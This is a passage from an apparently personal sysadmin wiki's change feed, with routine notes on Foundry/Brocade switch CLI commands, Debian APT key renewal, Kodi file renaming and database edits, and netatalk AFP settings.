  users                  User accounts&lt;br /&gt;
  version                System status&lt;br /&gt;
  vlan                   VLAN status&lt;br /&gt;
  vlan-group             VLAN Group Membership&lt;br /&gt;
  voice-vlan             Show voice vlan&lt;br /&gt;
  vsrp                   Show VSRP commands&lt;br /&gt;
  web-connection         Current web connections&lt;br /&gt;
  who                    User login&lt;br /&gt;
  |                      Output modifiers&lt;br /&gt;
  &amp;lt;cr&amp;gt;      &lt;br /&gt;
&lt;br /&gt;
=== enable ===&lt;br /&gt;
* when logged in, the &amp;quot;enable&amp;quot; command give you the administration rights&lt;br /&gt;
* in this status we can monitor e check configuration.&lt;br /&gt;
&amp;lt;syntaxhighlight lang=visualfoxpro &amp;gt;&lt;br /&gt;
$ enable&lt;br /&gt;
password...&lt;br /&gt;
# _&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
* entering in &amp;quot;edit configuration&amp;quot; mode, you can edit the configuration, '''live!''' be very careful&lt;br /&gt;
&amp;lt;syntaxhighlight lang=visualfoxpro &amp;gt;&lt;br /&gt;
config [te]&lt;br /&gt;
password...&lt;br /&gt;
(config)#&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
* after making changes, you can check them with this command (because &amp;quot;show config&amp;quot; will give you the configuration saved in memory, not the running one that you just modified.&lt;br /&gt;
&amp;lt;syntaxhighlight lang=visualfoxpro &amp;gt;&lt;br /&gt;
(config)# show running-config&lt;br /&gt;
[...]&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
* after all your checks, this is the command to save the changes permanently.&lt;br /&gt;
&amp;lt;syntaxhighlight lang=visualfoxpro &amp;gt;&lt;br /&gt;
(config)# write memory&lt;br /&gt;
# &lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
* an option to backup the configuration is to copy it by TFTP to a server.&lt;br /&gt;
&amp;lt;syntaxhighlight lang=visualfoxpro &amp;gt;&lt;br /&gt;
#copy running-config tftp 1.2.3.123 router-config-20122112.txt&lt;br /&gt;
 #Upload running-config to TFTP server done.&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
=== show cpu ===&lt;br /&gt;
show cpu&lt;br /&gt;
&amp;lt;syntaxhighlight lang=visualfoxpro &amp;gt;&lt;br /&gt;
31 percent busy, from 3248 sec ago 1	sec avg: &lt;br /&gt;
31 percent busy 5	sec avg: &lt;br /&gt;
31 percent busy 60 sec avg: &lt;br /&gt;
31 percent busy&lt;br /&gt;
&lt;br /&gt;
300 sec avg: 31 percent busy   &lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
* cpu/process utilizaiton&lt;br /&gt;
&amp;lt;syntaxhighlight lang=visualfoxpro &amp;gt;&lt;br /&gt;
# show process cpu&lt;br /&gt;
Process Name&lt;br /&gt;
ACL&lt;br /&gt;
ARP BGP DOT1X GVRP ICMP IP L2VLAN OSPF RIP STP VRRP&lt;br /&gt;
5Sec(%)	1Min(%)&lt;br /&gt;
0.00	0.00&lt;br /&gt;
0.01	0.01 0.00	0.00 0.00	0.00 0.00	0.00 0.00	0.00 0.00	0.00 0.01	0.00 0.00	0.00 0.00	0.00 0.00	0.00 0.00	0.00&lt;br /&gt;
5Min(%)	15Min(%)&lt;br /&gt;
Runtime(ms)&lt;br /&gt;
0.00	0.00	0&lt;br /&gt;
0.01	0.01	714 0.00	0.00	0 0.00	0.00	0 0.00	0.00	0 0.00	0.00	161 0.00	0.00	229 0.00	0.01	673 0.00	0.00	0 0.00	0.00	9 0.00	0.00	7 0.00	0.00	0&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
=== port status short ===&lt;br /&gt;
* show interface brief&lt;br /&gt;
&amp;lt;syntaxhighlight lang=visualfoxpro &amp;gt;&lt;br /&gt;
Port  Link    State     Dupl Speed Trunk Tag Priori MAC            Name        &lt;br /&gt;
1     Up      Forward   Full 1G    None  No  level0 0012.f286....              &lt;br /&gt;
2     Disable None      None None  None  No  level0 0012.f286....                &lt;br /&gt;
&lt;br /&gt;
Port  Link    State     Dupl Speed Trunk Tag Priori MAC            Name        &lt;br /&gt;
ve10  Up      N/A       N/A  N/A   None  N/A N/A    0012.f286....     &lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
=== ip traffic ===&lt;br /&gt;
&amp;lt;syntaxhighlight lang=visualfoxpro &amp;gt;&lt;br /&gt;
#show ip traffic &lt;br /&gt;
IP Statistics&lt;br /&gt;
  249333533 received, 92410 sent, 248630753 forwarded&lt;br /&gt;
  0 filtered, 0 fragmented, 0 reassembled, 4480 bad header&lt;br /&gt;
  495 no route, 0 unknown proto, 0 no buffer, 43582 other errors&lt;br /&gt;
&lt;br /&gt;
ARP Statistics&lt;br /&gt;
  151530 total recv, 149155 req recv, 214351 req sent, 67830 rep sent&lt;br /&gt;
  0 pending drop, 0 invalid source, 0 invalid dest&lt;br /&gt;
&lt;br /&gt;
ICMP Statistics&lt;br /&gt;
Received:&lt;br /&gt;
  13364 total, 25 errors, 103 unreachable, 25 time exceed&lt;br /&gt;
  0 parameter, 0 source quench, 0 redirect, 13202 echo, &lt;br /&gt;
  9 echo reply, 0 timestamp, 0 timestamp reply, 0 addr mask&lt;br /&gt;
  0 addr mask reply, 0 irdp advertisement, 0 irdp solicitation&lt;br /&gt;
Sent:&lt;br /&gt;
  55536 total, 0 errors, 38105 unreachable, 4205 time exceed&lt;br /&gt;
  24 parameter, 0 source quench, 0 redirect, 0 echo, &lt;br /&gt;
  13202 echo reply, 0 timestamp, 0 timestamp reply, 0 addr mask&lt;br /&gt;
  0 addr mask reply, 0 irdp advertisement, 0 irdp solicitation&lt;br /&gt;
&lt;br /&gt;
UDP Statistics&lt;br /&gt;
  173951 received, 15129 sent, 119850 no port, 0 input errors&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
=== MAC address table ===&lt;br /&gt;
 show mac-address&lt;br /&gt;
&amp;lt;syntaxhighlight lang=visualfoxpro &amp;gt;&lt;br /&gt;
Total active entries from all ports = 69&lt;br /&gt;
MAC-Address     Port         Type       Index      VLAN &lt;br /&gt;
0800.270c.ce47  5            Dynamic    30         113  &lt;br /&gt;
0011.7800.9a44  8            Dynamic    14232      200  &lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
=== ethernet data flow statistics ===&lt;br /&gt;
* show rmon statistics&lt;br /&gt;
&amp;lt;syntaxhighlight lang=visualfoxpro &amp;gt;&lt;br /&gt;
Ethernet statistics 1 is active, owned by monitor&lt;br /&gt;
 Interface 1 (ifIndex 1) counters&lt;br /&gt;
           Octets          62219423556&lt;br /&gt;
      Drop events                    0             Packets             74215428&lt;br /&gt;
   Broadcast pkts                  613      Multicast pkts                83808&lt;br /&gt;
 CRC align errors                    0      Undersize pkts                    0&lt;br /&gt;
    Oversize pkts                    0           Fragments                    0&lt;br /&gt;
          Jabbers                    0          Collisions                    0&lt;br /&gt;
&lt;br /&gt;
 Packet size counters&lt;br /&gt;
               64              8199939           65 to 127             21283872&lt;br /&gt;
       128 to 255              2667477          256 to 511              1406813&lt;br /&gt;
      512 to 1023              2001555        1024 to 1518             38655772&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
=== physical media installed in port ===&lt;br /&gt;
* show media&lt;br /&gt;
&amp;lt;syntaxhighlight lang=visualfoxpro &amp;gt;&lt;br /&gt;
1:M-SX 2:   3:   4:   5: C 6: C 7: C 8: C 9: C 10: C 11: C 12: C 13: C 14: C 15: C 16: C 17: C 18: C 19: C 20: C 21: C 22: C 23: C 24: C &lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
* C1550 – CWDM transceiver with 1550 nm wavelength &lt;br /&gt;
* EFM-U – 1000Base-BX10-U fiber (uplink) transceiver &lt;br /&gt;
* EFM-D – 1000Base-BX10-D fiber (downlink) transceiver&lt;br /&gt;
* M-FX – 100BaseFX fiber mini-GBIC &lt;br /&gt;
* M-FXB1 or M-FXB2 – 100BaseFX fiber mini-GBIC  &lt;br /&gt;
* M-LX – 1000BaseLX fiber mini-GBIC &lt;br /&gt;
* M-SX – 1000BaseSX fiber mini-GBIC &lt;br /&gt;
* M-TX – 1000BaseTX copper mini-GBIC &lt;br /&gt;
* M-XR – 1000BaseSX 2 fiber mini-GBIC &lt;br /&gt;
* FXB1 or FXB2 – 1000BaseBX fiber mini-GBIC &lt;br /&gt;
* M-LHA 1000BaseLHA fiber mini-GBIC&lt;br /&gt;
&lt;br /&gt;
=== interface speed ===&lt;br /&gt;
&lt;br /&gt;
 Router(config)# interface e 8 &lt;br /&gt;
 Router(config-if-e1000-8)# speed-duplex 10-full&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
=== ethernet details ===&lt;br /&gt;
* show interface ethernet 1&lt;br /&gt;
&amp;lt;syntaxhighlight lang=visualfoxpro &amp;gt;&lt;br /&gt;
GigabitEthernet1 is up, line protocol is up &lt;br /&gt;
  Hardware is GigabitEthernet, address is 0012.f286.7e40 (bia 0012.f286.7e40)&lt;br /&gt;
  Configured speed auto, actual 1Gbit, configured duplex fdx, actual fdx&lt;br /&gt;
  Configured mdi mode AUTO, actual MDI&lt;br /&gt;
  Member of L2 VLAN ID 10, port is untagged, port state is FORWARDING&lt;br /&gt;
  BPDU guard is Disabled, ROOT protect is Disabled&lt;br /&gt;
  Link Error Dampening is Disabled&lt;br /&gt;
  STP configured to ON, priority is level0&lt;br /&gt;
  Flow Control is config enabled, oper enabled, negotiation disabled&lt;br /&gt;
  mirror disabled, monitor disabled&lt;br /&gt;
  Not member of any active trunks&lt;br /&gt;
  Not member of any configured trunks&lt;br /&gt;
  No port name&lt;br /&gt;
  IPG MII 96 bits-time, IPG GMII 96 bits-time&lt;br /&gt;
  IP MTU 1500 bytes, encapsulation ethernet&lt;br /&gt;
  300 second input rate: 262016 bits/sec, 119 packets/sec, 0.02% utilization&lt;br /&gt;
  300 second output rate: 1558744 bits/sec, 178 packets/sec, 0.15% utilization&lt;br /&gt;
  35819040 packets input, 31760156880 bytes, 0 no buffer&lt;br /&gt;
  Received 559 broadcasts, 83280 multicasts, 35735201 unicasts&lt;br /&gt;
  0 input errors, 0 CRC, 0 frame, 0 ignored&lt;br /&gt;
  0 runts, 0 giants&lt;br /&gt;
  38293277 packets output, 30371035971 bytes, 0 underruns&lt;br /&gt;
  Transmitted 53 broadcasts, 0 multicasts, 38293224 unicasts&lt;br /&gt;
  0 output errors, 0 collisions&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
=== ip routes ===&lt;br /&gt;
 show ip&lt;br /&gt;
&amp;lt;syntaxhighlight lang=visualfoxpro &amp;gt;&lt;br /&gt;
Global Settings&lt;br /&gt;
  ttl: 64, arp-age: 10, bootp-relay-max-hops: 4&lt;br /&gt;
  router-id : 0.0.0.0&lt;br /&gt;
  enabled : UDP-Broadcast-Forwarding  Source-Route  Load-Sharing  RARP  &lt;br /&gt;
  disabled: Route-Only  Directed-Broadcast-Forwarding  IRDP  Proxy-ARP  RIP  DVMRP  VRRP  VRRP-Extended  &lt;br /&gt;
Static Routes&lt;br /&gt;
  Index   IP Address        Subnet Mask       Next Hop Router   Metric Distance&lt;br /&gt;
  1       0.0.0.0           0.0.0.0           145.145.24.140    1      1 0&lt;br /&gt;
  2       192.168.251.0     255.255.255.0     192.168.252.1     1      1 0&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
=== ip interface networks === &lt;br /&gt;
&amp;lt;syntaxhighlight lang=visualfoxpro &amp;gt;&lt;br /&gt;
show ip interface&lt;br /&gt;
Interface       IP-Address      OK?  Method    Status                 Protocol&lt;br /&gt;
Ve 10           1.5.4.1  YES  NVRAM     up                     up      &lt;br /&gt;
Ve 100          1.2.1.33   YES  NVRAM     up                     up      &lt;br /&gt;
Ve 101          1.2.1.129  YES  NVRAM     up                     up      &lt;br /&gt;
Ve 102          1.2.1.193  YES  NVRAM     up                     up      &lt;br /&gt;
Ve 103          1.2.1.225  YES  NVRAM     up                     up      &lt;br /&gt;
Ve 104          1.2.1.241  YES  NVRAM     up                     up      &lt;br /&gt;
Ve 105          1.2.1.249  YES  NVRAM     up                     up      &lt;br /&gt;
Ve 106          1.2.1.17   YES  NVRAM     up                     up      &lt;br /&gt;
Ve 111          1.2.1.65   YES  NVRAM     up                     up      &lt;br /&gt;
Ve 112          1.2.1.81   YES  NVRAM     up                     up      &lt;br /&gt;
Ve 113          1.2.1.97   YES  NVRAM     up                     up      &lt;br /&gt;
Ve 200          1.2.3.4  YES  NVRAM     up                     up     &lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
=== add VLAN ===&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=visualfoxpro &amp;gt;&lt;br /&gt;
vlan 123 name v-users by port&lt;br /&gt;
tagged ethe 2 to 4&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
=== VLAN detail ===&lt;br /&gt;
* show vlans&lt;br /&gt;
&amp;lt;syntaxhighlight lang=visualfoxpro &amp;gt;&lt;br /&gt;
Total PORT-VLAN entries: 19&lt;br /&gt;
Maximum PORT-VLAN entries: 4095&lt;br /&gt;
PORT-VLAN 1, Name DEFAULT-VLAN, Priority level0, Spanning tree Off&lt;br /&gt;
 Untagged Ports:   2   3   4  19  20 &lt;br /&gt;
   Tagged Ports: None&lt;br /&gt;
   Uplink Ports: None&lt;br /&gt;
 DualMode Ports: None&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
=== virtual ethernet configuration ===&lt;br /&gt;
* is the ip configuration of the vlan subnet&lt;br /&gt;
&amp;lt;syntaxhighlight lang=visualfoxpro &amp;gt;&lt;br /&gt;
&lt;br /&gt;
interface ve 300&lt;br /&gt;
 port-name v-secondary&lt;br /&gt;
 ip access-group 300 in&lt;br /&gt;
 ip address 1.2.1.1 255.255.255.240&lt;br /&gt;
!&lt;br /&gt;
interface ve 100&lt;br /&gt;
 port-name v-primary&lt;br /&gt;
 ip address 1.2.3.1 255.255.252.0&lt;br /&gt;
&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
=== access list per IP ===&lt;br /&gt;
* access list used by virtual ethernet&lt;br /&gt;
&amp;lt;syntaxhighlight lang=visualfoxpro &amp;gt;&lt;br /&gt;
&lt;br /&gt;
access-list 10 permit 1.2.3.0 0.0.3.255&lt;br /&gt;
access-list 10 permit 1.2.1.0 0.0.0.255&lt;br /&gt;
access-list 10 deny any log&lt;br /&gt;
&lt;br /&gt;
access-list 300 deny ip any 1.2.3.0 0.0.3.255 log&lt;br /&gt;
access-list 300 deny ip any 1.2.1.0 0.0.0.255 log&lt;br /&gt;
access-list 300 permit ip any any&lt;br /&gt;
&lt;br /&gt;
access-list 103 permit ip any 1.2.5.0 0.0.0.255&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
=== set DNS === &lt;br /&gt;
* add 3 DNS servers:&lt;br /&gt;
&amp;lt;syntaxhighlight lang=python &amp;gt;&lt;br /&gt;
ip dns server-address 1.2.3.4 10.11.12.13 101.102.103.104&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
* del 1 DNS server:&lt;br /&gt;
&amp;lt;syntaxhighlight lang=python &amp;gt;&lt;br /&gt;
no ip dns server-address 10.11.12.13&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
=== SSH management config ===&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=visualfoxpro &amp;gt;&lt;br /&gt;
 ip ssh  key-authentication no&lt;br /&gt;
 ip ssh  source-interface ve 200&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
=== add port to VLAN ===&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=visualfoxpro &amp;gt;&lt;br /&gt;
&lt;br /&gt;
* add tagged port:&lt;br /&gt;
 # vlan 4&lt;br /&gt;
 (vlan-4)# tag ethe 11&lt;br /&gt;
 # end&lt;br /&gt;
* add untagged port&lt;br /&gt;
 (vlan-4)# untag ethe 11&lt;br /&gt;
 # end&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
=== remove port from VLAN ===&lt;br /&gt;
&amp;lt;syntaxhighlight lang=visualfoxpro &amp;gt;&lt;br /&gt;
* remove un-tagged port:&lt;br /&gt;
 #vlan 4&lt;br /&gt;
 (vlan-4)# no untag ethe 11&lt;br /&gt;
 # end&lt;br /&gt;
* tagged port&lt;br /&gt;
 (vlan-4)# no tag ethe 11&lt;br /&gt;
 # end&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
=== change temperature warning level ===&lt;br /&gt;
&lt;br /&gt;
* temperature at when the device will give warning&lt;br /&gt;
 # temperature warning 47&lt;br /&gt;
* temperature at when the device will shut down&lt;br /&gt;
 # temperature shutdown 57&lt;br /&gt;
* change the polling time interval&lt;br /&gt;
 # chassis poll-time 200&lt;br /&gt;
&lt;br /&gt;
=== change logging size ===&lt;br /&gt;
&amp;lt;syntaxhighlight lang=visualfoxpro &amp;gt;&lt;br /&gt;
#config te&lt;br /&gt;
BR-SSH@coresw1(config)#logging buffered 300&lt;br /&gt;
Reload required.  Please write memory and then reload or power cycle.&lt;br /&gt;
BR-SSH@coresw1(config)#write memory&lt;br /&gt;
Write startup-config done.&lt;br /&gt;
BR-SSH@coresw1(config)#end&lt;br /&gt;
BR-SSH@coresw1#reload&lt;br /&gt;
Are you sure? (enter 'y' or 'n'): y&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;/div&gt;</summary>
		<author><name>Porcelinux</name></author>
	</entry>
	<entry>
		<id>https://wiki.alessandro.delgallo.net//index.php?title=Debian&amp;diff=6413</id>
		<title>Debian</title>
		<link rel="alternate" type="text/html" href="https://wiki.alessandro.delgallo.net//index.php?title=Debian&amp;diff=6413"/>
		<updated>2022-07-06T11:41:08Z</updated>

		<summary type="html">&lt;p&gt;Porcelinux: /* Keys */&lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;&lt;br /&gt;
Linux Distribution&lt;br /&gt;
&lt;br /&gt;
http://www.debian.org/&lt;br /&gt;
&lt;br /&gt;
*; Releases&lt;br /&gt;
*Debian 12 (Bookworm)&lt;br /&gt;
*Debian 11 (Bullseye)&lt;br /&gt;
*Debian 10 (Buster)&lt;br /&gt;
*Debian 9 (Stretch)&lt;br /&gt;
*Debian 8 (Jessie)&lt;br /&gt;
*Debian 7 (wheezy)&lt;br /&gt;
*Debian 6 (squeeze)&lt;br /&gt;
*Debian GNU/Linux 5.0 (lenny)&lt;br /&gt;
*Debian GNU/Linux 4.0 (etch) &lt;br /&gt;
*Debian GNU/Linux 3.1 (sarge) &lt;br /&gt;
*Debian GNU/Linux 3.0 (woody) &lt;br /&gt;
*Debian GNU/Linux 2.2 (potato)&lt;br /&gt;
*Debian GNU/Linux 2.1 (slink)&lt;br /&gt;
*Debian GNU/Linux 2.0 (hamm)&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
= APT =&lt;br /&gt;
* skip suggested packages:&lt;br /&gt;
 --no-install-recommends&lt;br /&gt;
== testing software ==&lt;br /&gt;
&lt;br /&gt;
* add the backport repo: /etc/apt/sources.list&lt;br /&gt;
 deb http://backports.debian.org/debian-backports lenny-backports main contrib non-free&lt;br /&gt;
* update.....&lt;br /&gt;
 apt-get update&lt;br /&gt;
* install the newest package&lt;br /&gt;
 aptitude -t lenny-backports install &amp;lt;latest_software&amp;gt;&lt;br /&gt;
&lt;br /&gt;
== how big is your disk ==&lt;br /&gt;
* this will tell you how much disk space the next upgrade will take&lt;br /&gt;
 # apt-get -o APT::Get::Trivial-Only=true dist-upgrade&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
== package architecture (arm64) does not match system (armhf) ==&lt;br /&gt;
&lt;br /&gt;
  Errors were encountered while processing:&lt;br /&gt;
 mongodb-org-server_4.4.9_arm64.deb&lt;br /&gt;
  root@raspberrypi02:~# dpkg --add-architecture arm64&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
== Keys ==&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
W: GPG error: http://archive.debian.org lenny Release: The following signatures were invalid: KEYEXPIRED 1337087218 The following signatures couldn't be verified because the public key is not available: NO_PUBKEY AED4B06F473041FA&lt;br /&gt;
W: You may want to run apt-get update to correct these problems&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
*; apt-key list | grep -A 1 expired                           &lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
pub   1024D/6070D3A1 2006-11-20 [expired: 2009-07-01]&lt;br /&gt;
uid                  Debian Archive Automatic Signing Key (4.0/etch) &amp;lt;ftpmaster@debian.org&amp;gt;&lt;br /&gt;
--&lt;br /&gt;
pub   1024D/BBE55AB3 2007-03-31 [expired: 2010-03-30]&lt;br /&gt;
uid                  Debian-Volatile Archive Automatic Signing Key (4.0/etch)&lt;br /&gt;
--&lt;br /&gt;
pub   1024D/F42584E6 2008-04-06 [expired: 2012-05-15]&lt;br /&gt;
uid                  Lenny Stable Release Key &amp;lt;debian-release@lists.debian.org&amp;gt;&lt;br /&gt;
--&lt;br /&gt;
pub   4096R/55BE302B 2009-01-27 [expired: 2012-12-31]&lt;br /&gt;
uid                  Debian Archive Automatic Signing Key (5.0/lenny) &amp;lt;ftpmaster@debian.org&amp;gt;&lt;br /&gt;
--&lt;br /&gt;
pub   2048R/6D849617 2009-01-24 [expired: 2013-01-23]&lt;br /&gt;
uid                  Debian-Volatile Archive Automatic Signing Key (5.0/lenny)&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
* and renew them with a small script&lt;br /&gt;
 for a in 6070D3A1 BBE55AB3 F42584E6 55BE302B 6D849617&lt;br /&gt;
  do gpg --keyserver pgpkeys.mit.edu --recv-key $a &lt;br /&gt;
  gpg -a --export $a |  apt-key add - &lt;br /&gt;
 done&lt;br /&gt;
&lt;br /&gt;
= General =&lt;br /&gt;
&lt;br /&gt;
= locale settings =&lt;br /&gt;
&lt;br /&gt;
* edit the file:&lt;br /&gt;
 /etc/environment&lt;br /&gt;
 ;;;&lt;br /&gt;
 LANG=en_IN&lt;br /&gt;
 LC_MESSAGES=en_IN&lt;br /&gt;
* or&lt;br /&gt;
 LANG=it_IT&lt;br /&gt;
 LC_MESSAGES=it_IT&lt;br /&gt;
&lt;br /&gt;
* and &lt;br /&gt;
 /etc/locale.gen&lt;br /&gt;
 ;;;&lt;br /&gt;
 en_US.UTF-8 UTF-8&lt;br /&gt;
 it_IT ISO-8859-1&lt;br /&gt;
 it_IT.UTF-8 UTF-8&lt;br /&gt;
 it_IT@euro ISO-8859-15&lt;br /&gt;
 en_IN UTF-8&lt;br /&gt;
&lt;br /&gt;
 /etc/environment &amp;amp;&amp;amp; locale-gen&lt;/div&gt;</summary>
		<author><name>Porcelinux</name></author>
	</entry>
	<entry>
		<id>https://wiki.alessandro.delgallo.net//index.php?title=Kodi&amp;diff=6412</id>
		<title>Kodi</title>
		<link rel="alternate" type="text/html" href="https://wiki.alessandro.delgallo.net//index.php?title=Kodi&amp;diff=6412"/>
		<updated>2022-06-29T07:29:26Z</updated>

		<summary type="html">&lt;p&gt;Porcelinux: /* Database */&lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;Kodi (formerly XBMC) is a free and open-source media player software application developed by the XBMC Foundation&amp;quot; (from Wikipedia)&lt;br /&gt;
&lt;br /&gt;
https://kodi.tv/&lt;br /&gt;
&lt;br /&gt;
= Library =&lt;br /&gt;
Library management is the reason why i started using Kodi in the first place.&lt;br /&gt;
&lt;br /&gt;
The tricky part is, the names of the files you want to add to Kodi, need to be in the correct form:&lt;br /&gt;
*Movies:&lt;br /&gt;
 Movie Title (YEAR)/Movie Title (YEAR).extension&lt;br /&gt;
 Movie Title (YEAR).extension&lt;br /&gt;
*TV Shows&lt;br /&gt;
 TV Show Title (YEAR)/&lt;br /&gt;
                    Season NUMBER/&lt;br /&gt;
                                 Episode Title.extension &lt;br /&gt;
                          or     TV Show Title (YEAR) Episode Title.extension &lt;br /&gt;
&lt;br /&gt;
more from Kodi's wiki : https://kodi.wiki/view/Naming_video_files&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
== Renaming Files (fast)==&lt;br /&gt;
&lt;br /&gt;
*example filename to &amp;quot;standardize&amp;quot;:&lt;br /&gt;
 TV Show 2006 2x13 Episode Title XviD [MM]blabla.avi&lt;br /&gt;
* command to rename all .avi files in current directory&lt;br /&gt;
 rename -v 's/^(.*) 2006 [0-9]x([0-9][0-9])(.*)$/$1 S03E$3$4/' *.avi&lt;br /&gt;
&lt;br /&gt;
*;more examples:&lt;br /&gt;
&lt;br /&gt;
*2ACX12-Episode Title.rm&lt;br /&gt;
 rename 's/2ACX([0-9][0-9]) - (\w+)/TV Show S02E$1 $2/' *.rm -v &lt;br /&gt;
&lt;br /&gt;
*TV Show - 4ACX29 - Episode Title -.avi&lt;br /&gt;
 rename 's/TV Show - 4ACX([0-9][0-9]) - (\w+)/TV Show S04E$1 $2/' *.avi -vn&lt;br /&gt;
&lt;br /&gt;
*S1EP02.avi&lt;br /&gt;
 rename 's/(.*)/TV Show $1/' *.avi&lt;br /&gt;
&lt;br /&gt;
*TV Show [3x01] Episode Title.avi&lt;br /&gt;
 rename -v 's/(.*) \[([0-9])x([0-9][0-9])\] (.*)\.avi/$1 S0$2E$3 $4\.avi/' *.avi&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
== Database ==&lt;br /&gt;
&lt;br /&gt;
* database location&lt;br /&gt;
 /home/osmc/.kodi/userdata/Database/&lt;br /&gt;
*or&lt;br /&gt;
 /home/xbian/.kodi/userdata/Database/&lt;br /&gt;
&lt;br /&gt;
* database files&lt;br /&gt;
 MyVideosxxx.db.&lt;br /&gt;
&lt;br /&gt;
* sqlite&lt;br /&gt;
&lt;br /&gt;
* &lt;br /&gt;
 advancedsettings.xml&lt;br /&gt;
&lt;br /&gt;
== Manually edit ==&lt;br /&gt;
&lt;br /&gt;
* Offline&lt;br /&gt;
# shutdown kodi&lt;br /&gt;
# mount microSD on a linux computer (or any reading ext4 filesystems)&lt;br /&gt;
# open the file with sqlite&lt;br /&gt;
# execute needed queries, see examples&lt;br /&gt;
&lt;br /&gt;
* the following query changes the source of a title from local path to NFS&lt;br /&gt;
 update 'path' set &lt;br /&gt;
  strPath = replace(strPath, '/media/vol1/Videos/', 'nfs://192.168.0.1/nfs/Public/Shared Videos/')&lt;br /&gt;
 where&lt;br /&gt;
  strPath like '/media/vol1/Videos/%';&lt;br /&gt;
 Result: query executed successfully. Took 1ms, 19 rows affected&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
= Debug =&lt;br /&gt;
&lt;br /&gt;
Log:&lt;br /&gt;
 tail -f  /home/xbian/.kodi/temp/kodi.log&lt;br /&gt;
&lt;br /&gt;
= default password =&lt;br /&gt;
*:xbian distribution&lt;br /&gt;
 user:xbian&lt;br /&gt;
 pass:raspberry&lt;br /&gt;
*:OSMC distribution&lt;br /&gt;
 user:osmc&lt;br /&gt;
 pass:osmc&lt;/div&gt;</summary>
		<author><name>Porcelinux</name></author>
	</entry>
	<entry>
		<id>https://wiki.alessandro.delgallo.net//index.php?title=AFP&amp;diff=6411</id>
		<title>AFP</title>
		<link rel="alternate" type="text/html" href="https://wiki.alessandro.delgallo.net//index.php?title=AFP&amp;diff=6411"/>
		<updated>2022-06-28T13:50:58Z</updated>

		<summary type="html">&lt;p&gt;Porcelinux: &lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;this is the protocol used for network file sharing in Apple systems (at leas for the latest ones)&lt;br /&gt;
&lt;br /&gt;
= V&amp;gt;=3.1 server settings =&lt;br /&gt;
in /etc/netatalk/&lt;br /&gt;
* afp.conf is the ''only'' .conf file now.&lt;br /&gt;
&lt;br /&gt;
= V2&amp;lt;= server settings =&lt;br /&gt;
&lt;br /&gt;
in /etc/netatalk/&lt;br /&gt;
* afpd.conf is the server configuration file, a backup server might look like this:&lt;br /&gt;
  - -transall -ipaddr 192.168.0.10 -port 548  -noddp -uamlist uams_dhx.so,uams_dhx2.so -nozeroconf&lt;br /&gt;
&lt;br /&gt;
== user permissions ==&lt;br /&gt;
&lt;br /&gt;
* in /etc/netatalk/AppleVolumes.default we can set the file permissions to use for each service.&lt;br /&gt;
** example: we have a network with an all-users group and we want them to be able to overwrite each-other files. Others can read:&lt;br /&gt;
*** umask:002&lt;br /&gt;
*** dperm:0775&lt;br /&gt;
*** fperm:0664&lt;br /&gt;
** default linux behaviour, with read only to group users.&lt;br /&gt;
*** umask:022&lt;br /&gt;
*** dperm:0755&lt;br /&gt;
